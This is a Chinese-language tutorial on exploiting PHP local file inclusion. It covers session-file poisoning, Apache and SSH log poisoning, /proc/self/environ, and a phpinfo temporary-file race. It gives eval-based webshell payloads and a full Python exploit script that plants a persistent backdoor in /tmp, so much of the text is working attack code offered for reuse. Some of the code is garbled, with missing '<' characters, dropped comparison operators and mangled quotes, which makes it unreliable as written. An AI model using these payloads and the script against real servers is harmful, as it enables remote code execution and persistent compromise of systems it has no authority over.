PHP文件包含漏洞利用思路与Bypass总结手册（二）

作者：Qftm 合天智汇

接上一篇：https://www.freebuf.com/column/235054.html

包含Session

在了解session包含文件漏洞及绕过姿势的时候，我们应该首先了解一下服务器上针对用户会话session的存储与处理是什么过程，只有了解了其存储和使用机制我们才能够合理的去利用它得到我们想要的结果。

Session存储

存储方式

Java是将用户的session存入内存中，而PHP则是将session以文件的形式存储在服务器某个文件中，可以在php.ini里面设置session的存储位置session.save_path。

可以通过phpinfo查看session.save_path的值

知道session的存储后，总结常见的php-session默认存放位置是很有必要的，因为在很多时候服务器都是按照默认设置来运行的，这个时候假如我们发现了一个没有安全措施的session包含漏洞就可以尝试利用默认的会话存放路径去包含利用。

• 默认路径

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

命名格式

如果某个服务器存在session包含漏洞，要想去成功的包含利用的话，首先必须要知道的是服务器是如何存放该文件的，只要知道了其命名格式我们才能够正确的去包含该文件。

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

会话处理

在了解了用户会话的存储下来就需要了解php是如何处理用户的会话信息。php中针对用户会话的处理方式主要取决于服务器在php.ini或代码中对session.serialize_handler的配置。

• session.serialize_handler

PHP中处理用户会话信息的主要是下面定义的两种方式

session.serialize_handler = php 一直都在(默认方式) 它是用 |分割

session.serialize_handler = php_serialize php5.5之后启用 它是用serialize反序列化格式分割

下面看一下针对PHP定义的不同方式对用户的session是如何处理的，我们只有知道了服务器是如何存储session信息的，才能够往session文件里面传入我们所精心制作的恶意代码。

• session.serialize_handler=php

服务器在配置文件或代码里面没有对session进行配置的话，PHP默认的会话处理方式就是session.serialize_handler=php这种模式机制。

下面通过一个简单的用户会话过程了解session.serialize_handler=php是如何工作的。

session.php

?php

session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;

?>

从图中可以看到默认session.serialize_handler=php处理模式只对用户名的内容进行了序列化存储，没有对变量名进行序列化，可以看作是服务器对用户会话信息的半序列化存储过程。

• session.serialize_handler=php_serialize

php5.5之后启用这种处理模式，它是用serialize反序列化格式进行存储用户的会话信息。一样的通过一个简单的用户会话过程了解session.serialize_handler=php_serialize是如何工作的。这种模式可以在php.ini或者代码中进行设置。

session.php

?php

ini_set(‘session.serialize_handler’, ‘php_serialize’);
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;

?>

从图中可以看到session.serialize_handler=php_serialize处理模式，对整个session信息包括文件名、文件内容都进行了序列化处理，可以看作是服务器对用户会话信息的完全序列化存储过程。

对比上面session.serialize_handler的两种处理模式，可以看到他们在session处理上的差异，既然有差异我们就要合理的去利用这两种处理模式，假如编写代码不规范的时候处理session同时用了两种模式，那么在攻击者可以利用的情况下，很可能会造成session反序列化漏洞。

Session利用

介绍了用户会话的存储和处理机制后，我们就可以去深入的理解session文件包含漏洞。LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件，例如Session会话文件、日志文件、临时文件等。但是，只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。

其中针对LFI Session文件的包含或许是现在见的比较多，简单的理解session文件包含漏洞就是在用户可以控制session文件中的一部分信息，然后将这部分信息变成我们的精心构造的恶意代码，之后去包含含有我们传入恶意代码的这个session文件就可以达到攻击效果。下面通过一个简单的案例演示这个漏洞利用攻击的过程。

测试代码

session.php

?php

session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;

?>

index.php

?php

$file = $_GET['file'];
include($file);

?>

漏洞利用

利用条件：session文件路径已知，且其中内容部分可控。

利用姿势：

分析session.php可以看到用户会话信息username的值用户是可控的，因为服务器没有对该部分作出限制。那么我们就可以传入恶意代码就行攻击利用

payload

http://192.33.6.145/FI/session/session.php

POST
username=?php eval($_REQUEST[Qftm]);?>

可以看到有会话产生，同时我们也已经写入了我们的恶意代码。

既然已经写入了恶意代码，下来就要利用文件包含漏洞去包含这个恶意代码，执行我们想要的结果。借助上一步产生的sessionID进行包含利用构造相应的payload。

payload

PHPSESSID：7qefqgu07pluu38m45isiesq3s

index.php?file=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3s

POST
Qftm=system(‘whoami’);

从攻击结果可以看到我们的payload和恶意代码确实都已经正常解析和执行。

包含日志

访问日志

利用条件：

1、需要知道服务器日志的存储路径

2、日志文件可读

利用姿势：

很多时候，web服务器会将请求写入到日志文件中，比如说apache。在用户发起请求时，会将请求写入access.log，当发生错误时将错误写入error.log。

默认情况下apache log的位置：

Debian分支(Ubuntu等) /var/log/apache2/access.log

Fedora分支(Centos等) /var/log/httpd/access_log

如果是直接发起请求，会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。

利用LFI：

index.php?file=../../../../../var/log/apache2/access.log

当日志文件没有Read权限时则会返回bool(false)

ps:在一些场景中，log的地址是被修改掉的。你可以通过读取相应的配置文件后，再进行包含。

SSH日志

利用条件：

1、需要知道ssh-log的位置

2、日志文件可读

利用姿势：

默认情况下ssh log的位置：

Debian分支(Ubuntu等) /var/log/auth.log

Fedora分支(Centos等) /var/log/secure

用ssh连接：

→ Qftm ← :~# ssh ‘?php phpinfo(); ?>’@remotehost

之后会提示输入密码等等，随便输入，然后在remotehost的ssh-log中即可写入php代码：

利用LFI：

index.php?file=../../../../../var/log/auth.log

包含environ

php的4种常见运行方式

SAPI：Server Application Programming Interface服务端应用编程端口。他就是php与其他应用交互的接口，php脚本要执行有很多中方式，通过web服务器，或者直接在命令行行下，也可以嵌入其他程序中。SAPI提供了一个和外部通信的接口，常见的SAPI有：cgi、fast-cgi、cli、Web模块模式等。

• CGI

CGI即通用网关接口（common gatewag interface),它是一段程序，通俗的讲CGI就象是一座桥，把网页和WEB服务器中的执行程序连接起来，它把HTML接收的指令传递给服务器的执 行程序，再把服务器执行程序的结果返还给HTML页。CGI 的跨平台性能极佳，几乎可以在任何操作系统上实现。CGI已经是比较老的模式了，这几年都很少用了。

CGI方式在遇到连接请求（用户 请求）先要创建cgi的子进程，激活一个CGI进程，然后处理请求，处理完后结束这个子进程。这就是fork-and-execute模式。所以用cgi 方式的服务器有多少连接请求就会有多少cgi子进程，子进程反复加载是cgi性能低下的主要原因。都会当用户请求数量非常多时，会大量挤占系统的资源如内 存，CPU时间等，造成效能低下。

• FastCGI

fast-cgi 是cgi的升级版本，FastCGI像是一个常驻(long-live)型的CGI，它可以一直执行着，只要激活后，不会每次都要花费时间去fork一 次。PHP使用PHP-FPM(FastCGI Process Manager)，全称PHP FastCGI进程管理器进行管理。

Web Server启动时载入FastCGI进程管理器(IIS ISAPI或Apache Module)。FastCGI进程管理器自身初始化，启动多个CGI解释器进程(可见多个php-cgi)并等待来自Web Server的连接。

当客户端请求到达Web Server时，FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。

FastCGI子进程完成处理后将标准输出和错误信息从同一连接返回Web Server。当FastCGI子进程关闭连接时，请求便告处理完成。FastCGI子进程接着等待并处理来自FastCGI进程管理器(运行在Web Server中)的下一个连接。 在CGI模式中，php-cgi在此便退出了。

在上述情况中，你可以想象CGI通常有多慢。每一个Web 请求PHP都必须重新解析php.ini、重新载入全部扩展并重初始化全部数据结构。使用FastCGI，所有这些都只在进程启动时发生一次。一个额外的 好处是，持续数据库连接(Persistent database connection)可以工作。

• 模块模式

Apache 2.0 Handler

PHP作为Apache模块，Apache服务器在系统启动后，预先生成多个进程副本驻留在内存中，一旦有请求出 现，就立即使用这些空余的子进程进行处理，这样就不存在生成子进程造成的延迟了。这些服务器副本在处理完一次HTTP请求之后并不立即退出，而是停留在计算机中等待下次请求。对于客户浏览器的请求反应更快，性能较高。

• CLI

cli是php的命令行运行模式，大家经常会使用它，但是可能并没有注意到（例如：我们在linux下经常使用 “php -m”查找PHP安装了那些扩展就是PHP命令行运行模式）。

phpinfo 查看SAPI

CGI

利用条件：

1、php以cgi方式运行，这样environ才会保存UA头。

2、environ文件存储位置已知，且environ文件可读。

利用姿势：

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码，则php代码会被写入到environ中。之后再包含它，即可。

包含临时文件

假如在服务器上找不到我们可以包含的文件，那该怎么办，此时可以通过利用一些技巧让服务存储我们恶意生成的临时文件，该临时文件包含我们构造的的恶意代码，此时服务器就存在我们可以包含的文件。

目前，常见的两种临时文件包含漏洞利用方法主要是：PHPINFO() and PHP7 Segment Fault，利用这两种奇技淫巧可以向服务器上传文件同时在服务器上生成恶意的临时文件，然后将恶意的临时文件包含就可以达到任意代码执行效果也就可以拿到服务器权限进行后续操作。

临时文件

在了解漏洞利用方式的时候，先来了解一下PHP临时文件的机制

全局变量

在PHP中可以使用POST方法或者PUT方法进行文本和二进制文件的上传。上传的文件信息会保存在全局变量$_FILES里。

$_FILES超级全局变量很特殊，他是预定义超级全局数组中唯一的二维数组。其作用是存储各种与上传文件有关的信息，这些信息对于通过PHP脚本上传到服务器的文件至关重要。

$_FILES['userfile']['name'] 客户端文件的原名称。

$_FILES['userfile']['type'] 文件的 MIME 类型，如果浏览器提供该信息的支持，例如”image/gif”。

$_FILES['userfile']['size'] 已上传文件的大小，单位为字节。

$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名，一般是系统默认。可以在php.ini的upload_tmp_dir 指定，默认是/tmp目录。

$_FILES['userfile']['error'] 该文件上传的错误代码，上传成功其值为0，否则为错误信息。

$_FILES['userfile']['tmp_name'] 文件被上传后在服务端存储的临时文件名

在临时文件包含漏洞中$_FILES['userfile']['name']这个变量值的获取很重要，因为临时文件的名字都是由随机函数生成的，只有知道文件的名字才能正确的去包含它。

存储目录

文件被上传后，默认会被存储到服务端的默认临时目录中，该临时目录由php.ini的upload_tmp_dir属性指定，假如upload_tmp_dir的路径不可写，PHP会上传到系统默认的临时目录中。

不同系统服务器常见的临时文件默认存储目录，了解系统的默认存储路径很重要，因为在很多时候服务器都是按照默认设置来运行的。

• Linux目录

Linxu系统服务的临时文件主要存储在根目录的tmp文件夹下，具有一定的开放权限。

/tmp/

• Windows目录

Windows系统服务的临时文件主要存储在系统盘Windows文件夹下，具有一定的开放权限。

C:/Windows/

C:/Windows/Temp/

命名规则

存储在服务器上的临时文件的文件名都是随机生成的，了解不同系统服务器对临时文件的命名规则很重要，因为有时候对于临时文件我们需要去爆破，此时我们必须知道它的命名规则是什么。

可以通过phpinfo来查看临时文件的信息。

• Linux Temporary File

Linux临时文件主要存储在/tmp/目录下，格式通常是（/tmp/php[6个随机字符]）

• Windows Temporary File

Windows临时文件主要存储在C:/Windows/目录下，格式通常是（C:/Windows/php[4个随机字符].tmp）

PHPINFO()

通过上面的介绍，服务器上存储的临时文件名是随机的，这就很难获取其真实的文件名。不过，如果目标网站上存在phpinfo，则可以通过phpinfo来获取临时文件名，进而进行包含。

测试代码

index.php

?php

$file = $_GET['file'];
include($file);

?>

phpinfo.php

?php phpinfo();?>

漏洞分析

当我们在给PHP发送POST数据包时，如果数据包里包含文件区块，无论你访问的代码中有没有处理文件上传的逻辑，PHP都会将这个文件保存成一个临时文件。文件名可以在$_FILES变量中找到。这个临时文件，在请求结束后就会被删除。

利用phpinfo的特性可以很好的帮助我们，因为phpinfo页面会将当前请求上下文中所有变量都打印出来，所以我们如果向phpinfo页面发送包含文件区块的数据包，则即可在返回包里找到$_FILES变量的内容，拿到临时文件变量名之后，就可以进行包含执行我们传入的恶意代码。

漏洞利用

• 利用条件

无 PHPINFO的这种特性源于php自身，与php的版本无关

测试脚本

探测是否存在phpinfo包含临时文件信息

import requests

files = {
‘file’: (“aa.txt”,“ssss”)
}
url = “http://x.x.x.x/phpinfo.php”
r = requests.post(url=url, files=files, allow_redirects=False)
print(r.text)

运行脚本可以看到回显中有如下内容

Linux

Windows

利用原理

验证了phpinfo的特性确实存在，所以在文件包含漏洞找不到可利用的文件时，我们就可以利用这一特性，找到并提取临时文件名，然后包含之即可Getshell。

但文件包含漏洞和phpinfo页面通常是两个页面，理论上我们需要先发送数据包给phpinfo页面，然后从返回页面中匹配出临时文件名，再将这个文件名发送给文件包含漏洞页面，进行getshell。在第一个请求结束时，临时文件就被删除了，第二个请求自然也就无法进行包含。

利用过程

这个时候就需要用到条件竞争，具体原理和过程如下：

（1）发送包含了webshell的上传数据包给phpinfo页面，这个数据包的header、get等位置需要塞满垃圾数据

（2）因为phpinfo页面会将所有数据都打印出来，1中的垃圾数据会将整个phpinfo页面撑得非常大

（3）php默认的输出缓冲区大小为4096，可以理解为php每次返回4096个字节给socket连接

（4）所以，我们直接操作原生socket，每次读取4096个字节。只要读取到的字符里包含临时文件名，就立即发送第二个数据包

（5）此时，第一个数据包的socket连接实际上还没结束，因为php还在继续每次输出4096个字节，所以临时文件此时还没有删除

（6）利用这个时间差，第二个数据包，也就是文件包含漏洞的利用，即可成功包含临时文件，最终getshell

（参考ph牛：https://github.com/vulhub/vulhub/tree/master/php/inclusion）

• Getshell

exp.py

#!/usr/bin/python

#python version 2.7

import sys
import threading
import socket

def setup(host, port):
TAG = “Security Test”
PAYLOAD = “”"%s\r
?php file_put_contents(‘/tmp/Qftm’, ‘?php eval($_REQUEST[Qftm])?>’)?>\r”"” % TAG
# PAYLOAD = “”"%s\r
# ?php file_put_contents(‘/var/www/html/Qftm.php’, ‘?php eval($_REQUEST[Qftm])?>’)?>\r”"” % TAG
REQ1_DATA = “”"—————————–7dbff1ded0714\r
Content-Disposition: form-data; name=”dummyname”; filename=”test.txt”\r
Content-Type: text/plain\r
\r
%s
—————————–7dbff1ded0714–\r”"” % PAYLOAD
padding = “A” * 5000
REQ1 = “”"POST /phpinfo.php?a=”"” + padding + “”" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=”"” + padding + “”"\r
HTTP_ACCEPT: “”" + padding + “”"\r
HTTP_USER_AGENT: “”" + padding + “”"\r
HTTP_ACCEPT_LANGUAGE: “”" + padding + “”"\r
HTTP_PRAGMA: “”" + padding + “”"\r
Content-Type: multipart/form-data; boundary=—————————7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s”"” % (len(REQ1_DATA), host, REQ1_DATA)
# modify this to suit the LFI script
LFIREQ = “”"GET /index.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
“”"
return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s2.connect((host, port))

s.send(phpinforeq)
d = “”
while len(d)  offset:
d += s.recv(offset)
try:
i = d.index(“[tmp_name] = “)
fn = d[i + 17:i + 31]
except ValueError:
return None

s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()

if d.find(tag) != -1:
return fn

counter = 0

class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args

def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1

try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print “\nGot it! Shell created in /tmp/Qftm.php”
self.event.set()

except socket.error:
return

def getOffset(host, port, phpinforeq):
“”"Gets offset of tmp_name in the php output”"”
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq)

d = “”
while True:
i = s.recv(4096)
d += i
if i == “”:
break
# detect the final chunk
if i.endswith(“0\r\n\r\n”):
break
s.close()
i = d.find(“[tmp_name] = “)
if i == -1:
raise ValueError(“No php tmp_name in phpinfo output”)

print “found %s at %i” % (d[i:i + 10], i)
# padded up a bit
return i + 256

def main():
print “LFI With PHPInfo()”
print “-=” * 30

if len(sys.argv)  2:
print “Usage: %s host [port] [threads]“ % sys.argv[0]
sys.exit(1)

try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print “Error with hostname %s: %s” % (sys.argv[1], e)
sys.exit(1)

port = 80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print “Error with port %d: %s” % (sys.argv[2], e)
sys.exit(1)

poolsz = 10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print “Error with poolsz %d: %s” % (sys.argv[3], e)
sys.exit(1)

print “Getting initial offset…”,
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()

maxattempts = 1000
e = threading.Event()
l = threading.Lock()

print “Spawning worker pool (%d)…” % poolsz
sys.stdout.flush()

tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write(“\r% 4d / % 4d” % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print “Woot! \m/”
else:
print “:(“
except KeyboardInterrupt:
print “\nTelling threads to shutdown…”
e.set()

print “Shuttin’ down…”
for t in tp:
t.join()

if __name__ == “__main__”:
main()

• 运行脚本Getshell

包含生成/tmp/Qftm后门文件

拿到RCE之后，可以查看tmp下生成的后门文件

http://192.33.6.145/index.php?file=/tmp/Qftm?php eval($_REQUEST[Qftm])?>

包含上传文件

利用条件：千变万化，不过至少得知道上传的文件在哪，叫什么名字！！！

利用姿势：不说了，太多了！！！

其它包含

一个web服务往往会用到多个其他服务，比如ftp服务、smb服务、数据库等等。这些应用也会产生相应的文件，但这就需要具体情况具体分析。这里就不展开了。

……未完待续

实验推荐：文件包含漏洞

http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015060917272000001

文件包含分为远程文件和本地文件包含，总结分析程序漏洞和服务器配置容易犯的错误。

声明：笔者初衷用于分享与普及网络知识，若读者因此作出任何危害网络安全行为后果自负，与合天智汇及原作者无关！